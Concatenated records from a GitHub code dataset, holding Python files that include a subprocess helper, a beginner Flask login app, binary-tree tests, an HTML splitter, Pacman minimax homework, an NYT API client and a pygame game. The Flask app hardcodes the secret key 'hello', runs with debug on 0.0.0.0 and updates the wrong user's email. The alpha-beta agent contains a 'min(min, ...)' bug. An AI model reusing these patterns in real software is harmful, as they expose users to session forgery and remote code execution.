status=kwargs.get('status') or 200,\n output=stdout.decode(),\n error=stderr.decode(),\n )\n\n except Exception as exc:\n result = Result(status=500, error=str(exc))\n if os.getenv('DEBUG'):\n result.traceback = traceback.format_exc()\n\n logger.debug('--> %r', result)\n return result\n\n\ndef as_user(uid: int, gid: int) -> typing.Callable:\n \"\"\"\n Used with `run` as the `preexec_fn` key-word argument, in order to run the\n command with the given uid (user id) and gid (group id).\n \"\"\"\n\n def fn():\n os.setgid(gid)\n os.setuid(uid)\n\n return fn\n","repo_name":"kruxia/ark","sub_path":"ark/api/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37360973506","text":"from flask import Flask, redirect, render_template, url_for, request, session, flash\nfrom datetime import timedelta\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.secret_key = \"hello\"\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.sqlite3'\napp.config[\"SQLALCHEMY_TRACK_NOTIFICATIONS\"] = False\n#users is the name of the database table we wil, be creating\napp.permanent_session_lifetime = timedelta(minutes=5)\n\n#these are vital for it to run\ndb = SQLAlchemy(app)\nwith app.app_context():\n#define models\n class users(db.Model):\n _id = db.Column(\"id\", db.Integer, primary_key = True)\n name = db.Column(db.String(100))\n email = db.Column(db.String(100))\n \n def __init__(self, name, email):\n self.name = name\n self.email = email\n\n\n @app.route('/')\n def home():\n return render_template(\"index.html\")\n\n @app.route('/view')\n def view():\n return render_template(\"view.html\", values=users.query.all())\n \n @app.route('/login', methods=[\"POST\", \"GET\"])\n def login():\n if request.method == \"POST\":\n session.permanent = True\n user = request.form[\"nm\"]\n session[\"user\"] = user\n found_user = users.query.filter_by(name=user).first()\n \n if found_user:\n #checks the database and sets session email as the email found in database\n session[\"email\"] = found_user.email\n else:\n #if no email in database add it\n usr = users(user, None)\n db.session.add(usr)\n db.session.commit()\n \n flash(\"Login successful\", \"info\")\n return redirect(url_for(\"user\"))\n else:\n if \"user\" in session:\n flash(\"Already logged in\", \"info\")\n return redirect(url_for(\"user\"))\n return render_template(\"login.html\")\n \n @app.route('/user', methods=[\"GET\", \"POST\"])\n def user():\n email = None\n if \"user\" in session:\n user = session[\"user\"]\n \n if request.method == \"POST\":\n email = request.form[\"email\"]\n session[\"email\"] = email\n found_user = users.query.filter_by().first()\n found_user.email = email\n db.session.commit()\n flash(\"Email saved\", \"info\")\n else:\n if \"email\" in session:\n email = session[\"email\"]\n return render_template(\"user.html\", email = email)\n else:\n flash(\"You are not logged in\")\n return redirect(url_for(\"login\"))\n \n \"\"\"@app.route('/user')\n def user():\n if \"user\" in session:\n user = session[\"user\"]\n return render_template(\"user.html\", user=user)\n else:\n flash(\"You are not logged in\")\n return redirect(url_for(\"login\"))\"\"\"\n \n @app.route('/logout')\n def logout():\n flash(\"Logout successful\", \"info\")\n session.pop(\"user\", None)\n session.pop(\"email\", None)\n \n return redirect(url_for(\"login\"))\n\n \"\"\"@app.route('/view/clear')\n def erase():\n session[\"user\"] = user\n found_user = users.query.filter_by(name=user).delete()\n for user in found_user:\n user.delete()\n db.session.commit()\n return redirect(url_for('view'))\n \n \"\"@app.route('/')\n def user(name):\n return f\"Hello {name}\"\n \"\"\"\n \n if __name__ == \"__main__\":\n db.create_all()\n app.run(host='0.0.0.0', port=81, debug= True)\n","repo_name":"Sandee004/SQLAlchemy-Intro","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26656301434","text":"import unittest\n\nfrom LCA.binary_tree import BinaryTree\n\n\nclass TestBinaryTree(unittest.TestCase):\n\n # initialise trees used for testing\n def setUp(self):\n self.empty_tree = BinaryTree()\n\n self.degenerative_tree = BinaryTree()\n file = open(\"../resources/one_child_tree.txt\", 'r')\n values = file.readlines()\n for x in values:\n self.degenerative_tree.add(int(x.strip()))\n file.close()\n\n self.ten_node_tree = BinaryTree()\n file = open(\"../resources/ten_node_tree.txt\", 'r')\n values = file.readlines()\n for x in values:\n self.ten_node_tree.add(int(x.strip()))\n file.close()\n\n def test_get_root(self):\n # test get_root from empty tree\n root = self.empty_tree.get_root()\n self.assertEqual(None, root)\n # test get_root from degenerative tree\n root = self.degenerative_tree.get_root()\n self.assertEqual(1, root.value)\n # test get_root from normal tree with 10 nodes\n root = self.ten_node_tree.get_root()\n self.assertEqual(5, root.value)\n\n # can be used to test add()\n def test_tree_to_str(self):\n # test tree to str on 10 node tree\n self.assertEqual(\"-5\\n\" +\n \" |-1\\n\" +\n \" | |-None\\n\" +\n \" | -3\\n\" +\n \" | |-None\\n\" +\n \" | -None\\n\" +\n \" -17\\n\" +\n \" |-12\\n\" +\n \" | |-7\\n\" +\n \" | | |-None\\n\" +\n \" | | -10\\n\" +\n \" | | |-None\\n\" +\n \" | | -None\\n\" +\n \" | -None\\n\" +\n \" -85\\n\" +\n \" |-56\\n\" +\n \" | |-45\\n\" +\n \" | | |-None\\n\" +\n \" | | -None\\n\" +\n \" | -None\\n\" +\n \" -None\\n\"\n , self.ten_node_tree.tree_to_str())\n # test tree to str on degenerative tree\n self.assertEqual(\"-1\\n\" +\n \" |-None\\n\" +\n \" -2\\n\" +\n \" |-None\\n\" +\n \" -3\\n\" +\n \" |-None\\n\" +\n \" -4\\n\" +\n \" |-None\\n\" +\n \" -5\\n\" +\n \" |-None\\n\" +\n \" -6\\n\" +\n \" |-None\\n\" +\n \" -None\\n\"\n , self.degenerative_tree.tree_to_str())\n # test tree to str on empty tree\n self.assertEqual(\"tree is empty\", self.empty_tree.tree_to_str())\n\n def test_find(self):\n # test find on empty tree\n self.assertEqual(None, self.empty_tree.find(12))\n # test find on 10 node tree\n self.assertEqual(12, self.ten_node_tree.find(12).value)\n # test find on 10 node tree where node does not exist in tree\n self.assertEqual(None, self.ten_node_tree.find(2))\n # test find on degenerative tree\n self.assertEqual(2, self.degenerative_tree.find(2).value)\n\n # clean up\n def tearDown(self):\n self.empty_tree = None\n self.ten_node_tree = None\n self.degenerative_tree = None\n","repo_name":"Yohan923/CS3012_LCA","sub_path":"test/test_binary_tree.py","file_name":"test_binary_tree.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8550011028","text":"__author__ = 'Rishav'\nimport logging\n\nfrom bs4 import BeautifulSoup, Comment\nfrom collections import OrderedDict\n\nlogger = logging.getLogger(__name__)\n\n\nclass HTMLSplitter(object):\n def __init__(self):\n self.soup = None\n self.files = OrderedDict()\n\n def split_input_file(self, data):\n logger.debug(\"Splitting HTML file to multiple HTML files, based on document type.\")\n file_names = []\n try:\n counter = 10\n self.soup = BeautifulSoup(data, 'html.parser')\n file_name = self.soup.find('title').text\n logger.info(\"Processing File: %s\", file_name)\n for script in self.soup(\n [\"script\", \"style\", \"tr\", \"td\", \"table\", \"head\"]): # remove all javascript and stylesheet code\n script.extract()\n comments = self.soup.findAll(text=lambda text: isinstance(text, Comment))\n for comment in comments:\n comment.extract()\n scriptTags = self.soup.findAll('div')\n for script in scriptTags:\n if script.has_attr('document_type') and script.has_attr('priority'):\n self.files[str(counter) + script['document_type'].strip()] = script\n counter += 1\n file_names = [file_name] * len(self.files.keys())\n logger.debug(\"Successfully splitted into %s HTML files.\", len(file_names))\n except Exception as ex:\n logger.error(\"Caught exception while splitting HTML file \", exc_info=True)\n return self.files, file_names\n","repo_name":"rishavroy1264bitmesra/sample_code","sub_path":"src/html_splitter.py","file_name":"html_splitter.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40623981173","text":"# multiAgents.py\n# --------------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\nfrom util import manhattanDistance\nimport random, util\nfrom game import Agent\n#\n\nclass ReflexAgent(Agent):\n \"\"\"\n A reflex agent chooses an action at each choice point by examining\n its alternatives via a state evaluation function.\n\n The code below is provided as a guide. You are welcome to change\n it in any way you see fit, so long as you don't touch our method\n headers.\n \"\"\"\n\n\n def getAction(self, gameState):\n \"\"\"\n You do not need to change this method, but you're welcome to.\n\n getAction chooses among the best options according to the evaluation function.\n\n Just like in the previous project, getAction takes a GameState and returns\n some Directions.X for some X in the set {North, South, West, East, Stop}\n \"\"\"\n # Collect legal moves and successor states\n legalMoves = gameState.getLegalActions()\n\n # Choose one of the best actions\n scores = [self.evaluationFunction(gameState, action) for action in legalMoves]\n bestScore = max(scores)\n bestIndices = [index for index in range(len(scores)) if scores[index] == bestScore]\n chosenIndex = random.choice(bestIndices) # Pick randomly among the best\n\n \"Add more of your code here if you want to\"\n\n return legalMoves[chosenIndex]\n\n def evaluationFunction(self, currentGameState, action):\n \"\"\"\n Design a better evaluation function here.\n\n The evaluation function takes in the current and proposed successor\n GameStates (pacman.py) and returns a number, where higher numbers are better.\n\n The code below extracts some useful information from the state, like the\n remaining food (newFood) and Pacman position after moving (newPos).\n newScaredTimes holds the number of moves that each ghost will remain\n scared because of Pacman having eaten a power pellet.\n\n Print out these variables to see what you're getting, then combine them\n to create a masterful evaluation function.\n \"\"\"\n # Useful information you can extract from a GameState (pacman.py)\n successorGameState = currentGameState.generatePacmanSuccessor(action)\n newPos = successorGameState.getPacmanPosition()\n newFood = successorGameState.getFood()\n newGhostStates = successorGameState.getGhostStates()\n newScaredTimes = [ghostState.scaredTimer for ghostState in newGhostStates]\n\n \"*** YOUR CODE HERE ***\"\n food = newFood.asList()\n number_of_food = len(food)\n\n closestDistance = 999999\n #Get the minimum distance to the closet food. Give the number of food importance by multiplying it by 1000.\n for coordinate in food:\n closestDistance = min(manhattanDistance(coordinate, newPos) + number_of_food*1000, closestDistance)\n\n #Pacman will get stuck at the last food. This will tell him that just go get the closest food and finish the game.\n if number_of_food == 0:\n closestDistance = 0\n\n #Note: As features, try the reciprocal of important values (such as distance to food) rather than just the values themselves.\n total = -closestDistance\n\n distance_to_ghost = 999999\n #Get the minimum distance to the closet ghost.\n for coordinate in newGhostStates:\n distance_to_ghost = min(manhattanDistance(coordinate.getPosition(), newPos), distance_to_ghost)\n\n #The ghost is near, run pacman run!\n if distance_to_ghost <= 1:\n total = total - 999999\n\n return total\n return successorGameState.getScore()\n\ndef scoreEvaluationFunction(currentGameState):\n \"\"\"\n This default evaluation function just returns the score of the state.\n The score is the same one displayed in the Pacman GUI.\n\n This evaluation function is meant for use with adversarial search agents\n (not reflex agents).\n \"\"\"\n return currentGameState.getScore()\n\nclass MultiAgentSearchAgent(Agent):\n \"\"\"\n This class provides some common elements to all of your\n multi-agent searchers. Any methods defined here will be available\n to the MinimaxPacmanAgent, AlphaBetaPacmanAgent & ExpectimaxPacmanAgent.\n\n You *do not* need to make any changes here, but you can if you want to\n add functionality to all your adversarial search agents. Please do not\n remove anything, however.\n\n Note: this is an abstract class: one that should not be instantiated. It's\n only partially specified, and designed to be extended. Agent (game.py)\n is another abstract class.\n \"\"\"\n\n def __init__(self, evalFn = 'scoreEvaluationFunction', depth = '2'):\n self.index = 0 # Pacman is always agent index 0\n self.evaluationFunction = util.lookup(evalFn, globals())\n self.depth = int(depth)\n\nclass MinimaxAgent(MultiAgentSearchAgent):\n \"\"\"\n Your minimax agent (question 2)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the minimax action from the current gameState using self.depth\n and self.evaluationFunction.\n\n Here are some method calls that might be useful when implementing minimax.\n\n gameState.getLegalActions(agentIndex):\n Returns a list of legal actions for an agent\n agentIndex=0 means Pacman, ghosts are >= 1\n\n gameState.generateSuccessor(agentIndex, action):\n Returns the successor game state after an agent takes an action\n\n gameState.getNumAgents():\n Returns the total number of agents in the game\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n final_score, final_direction = self.maxfunction(gameState, self.depth)\n return final_direction\n\n def maxfunction(self, gameState, depth):\n # You have reached the end.\n if depth == 0 or gameState.isWin() or gameState.isLose():\n return self.evaluationFunction(gameState), \" \"\n\n # Pacman index id is zero\n pacman_actions = gameState.getLegalActions(0)\n # This is like -ve infinity for us\n best_score = -999999\n # There is no best action right now.\n best_action = None\n # For every action of pacman, generate the state and send it to min function for evaluation.\n for action in pacman_actions:\n # Get the score for the depth for pacman. We only have on pacman.\n max_value = self.minfunction(gameState.generateSuccessor(0, action), depth, 1)[0]\n # If the max_value is bigger than the best score. Then the max value becomes the best score.\n if max_value > best_score:\n best_score = max_value\n # the action you did got you the best score. Save it.\n best_action = action\n # Return both the best_score and the best action that gets you that score.\n return best_score, best_action\n\n def minfunction(self, gameState, depth, ghost_number):\n # You have reached the end.\n if depth == 0 or gameState.isLose() or gameState.isWin():\n return self.evaluationFunction(gameState), \" \"\n\n # Ghost index id is one and above.\n ghost_actions = gameState.getLegalActions(ghost_number)\n # This is like +ve infinity for us\n best_score = 999999\n # There is no best action right now.\n best_action = None\n # We need to get the minimum from all the ghost.\n if (ghost_number != gameState.getNumAgents() - 1):\n # For every action of ghost, generate the state and send it to min function for evaluation.\n for action in ghost_actions:\n # Remember, you are sending both the best_score and the best action. Hence the [0] in the end.\n # Get the min_value from all the ghost. Keep calling for all the ghost till you get the minimum.\n min_value = self.minfunction(gameState.generateSuccessor(ghost_number, action), depth, ghost_number + 1)[0]\n if min_value < best_score:\n best_score = min_value\n # the action you did got you the best score. Save it.\n best_action = action\n # We need to get the maximum for the pacman now.\n else:\n # For every action of ghost, generate the state and send it to max function for evaluation.\n for action in ghost_actions:\n #Remember, you are sending both the best_score and the best action. Hence the [0] in the end.\n #Follow the Algorithm.\n min_value = self.maxfunction(gameState.generateSuccessor(ghost_number, action), depth - 1)[0]\n if min_value < best_score:\n best_score = min_value\n # the action you did got you the best score. Save it.\n best_action = action\n # Return both the best_score and the best action that gets you that score.\n return best_score, best_action\n\n util.raiseNotDefined()\n\n\nclass AlphaBetaAgent(MultiAgentSearchAgent):\n \"\"\"\n Your minimax agent with alpha-beta pruning (question 3)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the minimax action using self.depth and self.evaluationFunction\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Alpha is intially is -ve infinite\n alpha = -999999\n # Beta is initally is +ve infi\n beta = 999999\n temp, ans = self.maxfunction(gameState, self.depth, alpha, beta)\n return ans\n\n def maxfunction(self, gameState, depth, alpha, beta):\n # You have reached the end.\n if depth == 0 or gameState.isWin() or gameState.isLose():\n return self.evaluationFunction(gameState), \" \"\n\n # Pacman index id is zero\n pacman_actions = gameState.getLegalActions(0)\n # This is like -ve infinity for us\n best_score = -999999\n # There is no best action right now.\n best_action = None\n # For every action of pacman, generate the state and send it to min function for evaluation.\n for action in pacman_actions:\n # Get the score for the depth for pacman. We only have on pacman.\n max_value = self.minfunction(gameState.generateSuccessor(0, action), depth, 1, alpha, beta)[0]\n # If the max_value is bigger than the best score. Then the max value becomes the best score.\n if max_value > best_score:\n best_score = max_value\n # the action you did got you the best score. Save it.\n best_action = action\n # We will now see the max between alpha and the bes score.\n alpha = max(alpha, best_score)\n # If we find that best_score is bigger than beta, then we do purning\n if best_score > beta:\n # Return the best score.\n return best_score, ' '\n # Return both the best_score and the best action that gets you that score.\n return best_score, best_action\n\n def minfunction(self, gameState, depth, ghost_number, alpha, beta):\n # You have reached the end.\n if depth == 0 or gameState.isLose() or gameState.isWin():\n return self.evaluationFunction(gameState), \" \"\n\n # Ghost index id is one and above.\n ghost_actions = gameState.getLegalActions(ghost_number)\n # This is like +ve infinity for us\n best_score = 999999\n # There is no best action right now.\n best_action = None\n # We need to get the minimum from all the ghost.\n if (ghost_number != gameState.getNumAgents() - 1):\n # For every action of ghost, generate the state and send it to min function for evaluation.\n for action in ghost_actions:\n # Remember, you are sending both the best_score and the best action. Hence the [0] in the end.\n # Get the min_value from all the ghost. Keep calling for all the ghost till you get the minimum.\n min_value = self.minfunction(gameState.generateSuccessor(ghost_number, action), depth, ghost_number + 1, alpha, beta)[0]\n if min_value < best_score:\n best_score = min_value\n # the action you did got you the best score. Save it.\n best_action = action\n # We will now see the min between beta and best_score\n beta = min(beta, best_score)\n # If we find that best_score is less than alpha, then we do purning\n if best_score < alpha:\n return best_score, ' '\n # We need to get the maximum for the pacman now.\n else:\n # For every action of ghost, generate the state and send it to max function for evaluation.\n for action in ghost_actions:\n # Remember, you are sending both the best_score and the best action. Hence the [0] in the end.\n # Follow the Algorithm.\n min_value = self.maxfunction(gameState.generateSuccessor(ghost_number, action), depth - 1, alpha, beta)[0]\n if min_value < best_score:\n best_score = min_value\n # the action you did got you the best score. Save it.\n best_action = action\n\n beta = min(min, best_score)\n if best_score < alpha:\n return best_score, ' '\n # Return both the best_score and the best action that gets you that score.\n return best_score, best_action\n\n util.raiseNotDefined()\n\nclass ExpectimaxAgent(MultiAgentSearchAgent):\n \"\"\"\n Your expectimax agent (question 4)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the expectimax action using self.depth and self.evaluationFunction\n\n All ghosts should be modeled as choosing uniformly at random from their\n legal moves.\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n final_score, final_direction = self.maxfunction(gameState, self.depth)\n return final_direction\n\n def maxfunction(self, gameState, depth):\n # You have reached the end.\n if depth == 0 or gameState.isWin() or gameState.isLose():\n return self.evaluationFunction(gameState), \" \"\n\n # Pacman index id is zero\n pacman_actions = gameState.getLegalActions(0)\n # This is like -ve infinity for us\n best_score = -999999\n # There is no best action right now.\n best_action = None\n # For every action of pacman, generate the state and send it to min function for evaluation.\n for action in pacman_actions:\n # Get the score for the depth for pacman. We only have on pacman.\n max_value = self.minfunction(gameState.generateSuccessor(0, action), depth, 1)[0]\n #Increase the count\n # If the max_value is bigger than the best score. Then the max value becomes the best score.\n if max_value > best_score:\n best_score = max_value\n # the action you did got you the best score. Save it.\n best_action = action\n # Return both the best_score and the best action that gets you that score.\n return best_score, best_action\n\n def minfunction(self, gameState, depth, ghost_number):\n # You have reached the end.\n if depth == 0 or gameState.isLose() or gameState.isWin():\n return self.evaluationFunction(gameState), \" \"\n\n # Ghost index id is one and above.\n ghost_actions = gameState.getLegalActions(ghost_number)\n # This is like +ve infinity for us\n best_score = 999999\n # There is no best action right now.\n best_action = None\n # We need to get the minimum from all the ghost.\n if (ghost_number != gameState.getNumAgents() - 1):\n # For every action of ghost, generate the state and send it to min function for evaluation.\n min_value = 0\n count = 0\n for action in ghost_actions:\n # Remember, you are sending both the best_score and the best action. Hence the [0] in the end.\n # Get the min_value from all the ghost. Keep calling for all the ghost till you get the minimum.\n # Even thought the variable name is min. It is just a add up of values.\n min_value = min_value + self.minfunction(gameState.generateSuccessor(ghost_number, action), depth, ghost_number + 1)[0]\n # Keep the count of number of values.\n count = count + 1\n if min_value < best_score:\n best_score = min_value\n # the action you did got you the best score. Save it.\n best_action = action\n # We need to get the maximum for the pacman now.\n else:\n # For every action of ghost, generate the state and send it to max function for evaluation.\n min_value = 0\n count = 0\n for action in ghost_actions:\n # Remember, you are sending both the best_score and the best action. Hence the [0] in the end.\n # Follow the Algorithm.\n # Even thought the variable name is min. It is just a add up of values.\n min_value = min_value + self.maxfunction(gameState.generateSuccessor(ghost_number, action), depth - 1)[0]\n # Keep the count of number of values.\n count = count + 1\n if min_value < best_score:\n best_score = min_value\n # the action you did got you the best score. Save it.\n best_action = action\n # Return both the best_score and the best action that gets you that score.\n # Return the average. So min_value (which hold all the value) divide by number of values in count.\n return min_value/count, best_action\n util.raiseNotDefined()\n\ndef betterEvaluationFunction(currentGameState):\n \"\"\"\n Your extreme ghost-hunting, pellet-nabbing, food-gobbling, unstoppable\n evaluation function (question 5).\n\n DESCRIPTION: \n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Pretty similar to the project 2 part 1.\n # The only difference is the addition of currentScore\n pacman_position = currentGameState.getPacmanPosition()\n foodList = currentGameState.getFood().asList()\n numberOfFoodsLeft = len(foodList)\n ghostList = currentGameState.getGhostStates()\n currentScore = currentGameState.getScore()\n newScaredTimes = [ghostState.scaredTimer for ghostState in ghostList]\n min_food_distance = 999999\n for coordinate in foodList:\n min_food_distance = min(manhattanDistance(pacman_position, coordinate) + numberOfFoodsLeft * 1000, min_food_distance)\n\n if numberOfFoodsLeft == 0:\n min_food_distance = 0\n\n total = -min_food_distance\n\n min_ghost_distance = 999999\n for coordinate in ghostList:\n min_ghost_distance = min(manhattanDistance(pacman_position, coordinate.getPosition()), min_ghost_distance)\n\n if min_ghost_distance <= 1:\n total = total - 999999\n\n #Just a random combination.\n total = total + currentScore - numberOfFoodsLeft + sum(newScaredTimes)\n return total\n\n\n util.raiseNotDefined()\n\n# Abbreviation\nbetter = betterEvaluationFunction\n\n","repo_name":"arshpadda/AI-Project","sub_path":"Project 2 - Multiagent/multiAgents.py","file_name":"multiAgents.py","file_ext":"py","file_size_in_byte":20120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4694068117","text":"import requests\nimport ndjson\nimport os\n\nclass NYTimesAPI:\n\n def __init__(self):\n self.parameters = {\n \"limit\": \"100\", # 100 articles\n \"api-key\": os.environ.get('API_KEY')\n }\n self.api = 'https://api.nytimes.com/svc/news/v3/content/all/all.json'\n self.get_articles_from_nyt()\n\n def get_articles_from_nyt(self):\n '''Get data from Times Newswire API'''\n\n requestHeaders = {\n \"Accept\": \"application/json\"\n }\n response = requests.get(self.api, params=self.parameters, headers=requestHeaders)\n json_object = response.json()\n results = json_object['results']\n ndjson_data = ndjson.dumps(results)\n\n return ndjson_data\n","repo_name":"tandreadi/nyt_articles","sub_path":"loader/nyt_newswire_api.py","file_name":"nyt_newswire_api.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24433890745","text":"import pygame as pg\nimport sys\nfrom setting import *\nfrom All_level import All_level\nfrom game_data import *\nfrom level import Level\nfrom User_interface import User_Interface\n\nclass Game:\n def __init__(self):\n self.unlock_level = 0\n self.max_life = 3\n self.current_life = 3\n self.apple = 0\n self.All_level = All_level(0,self.unlock_level,screen,self.Show_level)\n self.status = 'All_level'\n self.UI = User_Interface(screen)\n self.die_sound = pg.mixer.Sound('data/sound/die.wav')\n self.All_level_music = pg.mixer.Sound('data/sound/All_level.mp3')\n self.level_music = pg.mixer.Sound('data/sound/level.mp3')\n self.All_level_music.set_volume(0.5)\n self.level_music.set_volume(0.5)\n self.All_level_music.play(loops = -1)\n\n \n def Show_level(self,current_level):\n self.level = Level(current_level,screen,self.New_All_level,self.pick_apple,self.resert_apple,self.change_life,self.resert_life)\n self.status = 'level'\n self.All_level_music.stop()\n self.level_music.play(loops= -1)\n \n def New_All_level(self,current_level,new_unlock_level):\n if new_unlock_level > self.unlock_level:\n self.unlock_level = new_unlock_level\n self.All_level = All_level(current_level,self.unlock_level,screen,self.Show_level)\n self.status = 'All_level'\n self.level_music.stop()\n self.All_level_music.play(loops= -1)\n \n def pick_apple(self):\n self.apple += 1\n \n def resert_apple(self):\n self.apple = 0\n \n def change_life(self):\n self.current_life -= 1\n \n def resert_life(self):\n self.current_life = self.max_life\n \n def game_over(self):\n if self.current_life == 0:\n self.die_sound.play()\n self.resert_life()\n self.resert_apple()\n self.New_All_level(0,self.unlock_level)\n \n def run(self):\n if self.status == 'All_level':\n self.All_level.run()\n else:\n self.level.run()\n self.UI.display_life(self.current_life)\n self.UI.display_apple(self.apple)\n self.game_over()\n \npg.init()\npg.display.set_caption(\"Pixel Adventure\")\nscreen = pg.display.set_mode((screen_width,screen_height))\nclock = pg.time.Clock()\ngame = Game()\n\nwhile True:\n for event in pg.event.get():\n if event.type == pg.QUIT:\n pg.quit()\n sys.exit()\n \n screen.fill((214, 234, 248))\n game.run()\n \n pg.display.update()\n clock.tick(60)","repo_name":"Vungo2201/NienLuanNganh","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42086278689","text":"def main():\n fileName = \"text.txt\"\n file = openLoadCloseFile(fileName)\n countUpper(file)\n countLower(file)\n countDigit(file)\n countwhitespace(file)\n\n\ndef openLoadCloseFile(file):\n myString = ''\n with open(file, encoding=\"utf8\", errors='ignore') as f:\n myString = f.read()\n f.close\n return myString\n\ndef countUpper(string):\n isupper = 0\n for i in string:\n if i.isupper():\n isupper+=1\n print(\"Uppercase letters:\",isupper)\n\ndef countLower(string):\n sentCount = 0\n for i in string:\n if i.islower():\n sentCount+=1\n print(\"Lowercase letters:\",sentCount)\n\ndef countDigit(string):\n sentCount = 0\n for i in string:\n if i.isdigit():\n sentCount+=1\n print(\"Digits:\",sentCount)\n\ndef countwhitespace(string):\n sentCount = 0\n for i in string:\n if i.count(\" \") or i.count(\"\\n\"):\n sentCount+=1\n print(\"Spaces:\",sentCount)\n\nmain()\n\n\n\n\n\n\n","repo_name":"Parad0xF/Python","sub_path":"count_letters_digits.py","file_name":"count_letters_digits.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30145306750","text":"\"\"\"\n Calculates Standard Deviation.\n\"\"\"\n\nimport json\n\ndef average(nums):\n \"\"\"\n Calculates average of list of numbers.\n \"\"\"\n sum = 0\n for num in nums:\n sum += num\n return sum / len(nums)\n\n\ndef std_dev(event, context):\n \"\"\"\n Calculates standard deviation using a list of numbers.\n \"\"\"\n nums = event[\"nums\"]\n avg = average(nums)\n value = 0\n for num in nums:\n value += (num - avg) ** 2\n result = (value / (len(nums) - 1)) ** 0.5\n return {\"StatusCode\": 200,\n \"nums\": nums,\n \"std_dev\": result}\n\n\n\n","repo_name":"BrandonBisesi/MyMath","sub_path":"lambda.py","file_name":"lambda.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41541193227","text":"import pandas as pd\nimport tkinter.messagebox\nimport getpass\n\n\ndef RH_csv_process(RH_csv_path):\n user = getpass.getuser()\n data_frame_num = pd.ExcelFile(RH_csv_path)\n for i in data_frame_num.sheet_names:\n data_frame = (pd.read_excel(RH_csv_path, sheet_name=i, names=['Temperature+', 'Mag+', 'Bridge1+', 'Bridge2+', 'Bridge3+',\n 'Temperature-', 'Mag-', 'Bridge1-', 'Bridge2-', 'Bridge3-']))\n P_list = data_frame['Mag+'].dropna(axis=0, how='any').values.tolist()\n M_list = data_frame['Mag-'].dropna(axis=0, how='any').values.tolist()\n data_frame_P = data_frame.iloc[:, 0:5].dropna(axis=0, how='any') # Define the empty column for final storage\n data_p = {'Temperature+': [], 'Mag+': [], 'Bridge1+': [], 'Bridge2+': [], 'Bridge3+': []}\n P_frame = pd.DataFrame(data_p)\n data_frame_M = data_frame.iloc[:, 5:10].dropna(axis=0, how='any')\n data_m = {'Temperature-': [], 'Mag-': [], 'Bridge1-': [], 'Bridge2-': [], 'Bridge3-': []}\n M_frame = pd.DataFrame(data_m)\n P_data = []\n M_data = []\n if len(P_list) <= len(M_list): # 没考虑如果使两列都使齐的情况\n for p in P_list:\n data = []\n for m in M_list:\n data.append(abs(p - abs(m))) # 将数据向每一个数据做差,并写入data\n if M_list[data.index(min(data))] not in M_data: # data最小值的索引对应的M——list的内容,判断是否在data里。\n M_data.append(M_list[data.index(min(data))]) \n P_data.append(p) # list min >M_data\n else:\n continue\n else:\n for m in M_list:\n data = []\n for p in P_list:\n data.append(abs(p - abs(m))) # every minus data\n if P_list[data.index(min(data))] not in P_data:\n P_data.append(P_list[data.index(min(data))])\n M_data.append(m) # list min >M_data\n else:\n continue\n for P_i in P_data:\n P_frame = P_frame.append(data_frame_P.loc[data_frame_P['Mag+'] == P_i], ignore_index=True)\n for M_j in M_data:\n M_frame = M_frame.append(data_frame_M.loc[data_frame_M['Mag-'] == M_j], ignore_index=True)\n pd.concat([P_frame, M_frame], axis=1).to_csv('C:/Users/' + user + '/Desktop/'+str(i)+'.dat', index=False, encoding='utf8')\n tkinter.messagebox.showinfo('提示', \"剔除数据完成,输出文件集合在桌面。\")\n","repo_name":"HsiaYan/PPMS_plot","sub_path":"RH_csv.py","file_name":"RH_csv.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"40057733482","text":"import csv\nfrom typing import Dict\n\nimport freud # type: ignore\nimport adios2 # type: ignore\nimport numpy as np\nimport pandas as pd # type: ignore\nfrom numpy import typing as npt\n\nfrom ...utils import STATE\nfrom .... import constants as cs\nfrom ...utils_mpi import MC, MPI_TAGS\nfrom ....core import distribution, calc\n\n\ndef thread(sts: MC):\n cwd, mpi_comm, mpi_rank = sts.cwd, sts.mpi_comm, sts.mpi_rank\n\n sts.logger.info(\"Receiving storages\")\n ino: int\n storages: Dict[str, int]\n ino, storages = mpi_comm.recv(source=0, tag=MPI_TAGS.SERV_DATA_1)\n sts.logger.info(\"Storages received\")\n\n sts.logger.info(\"Receiving parameters\")\n params = 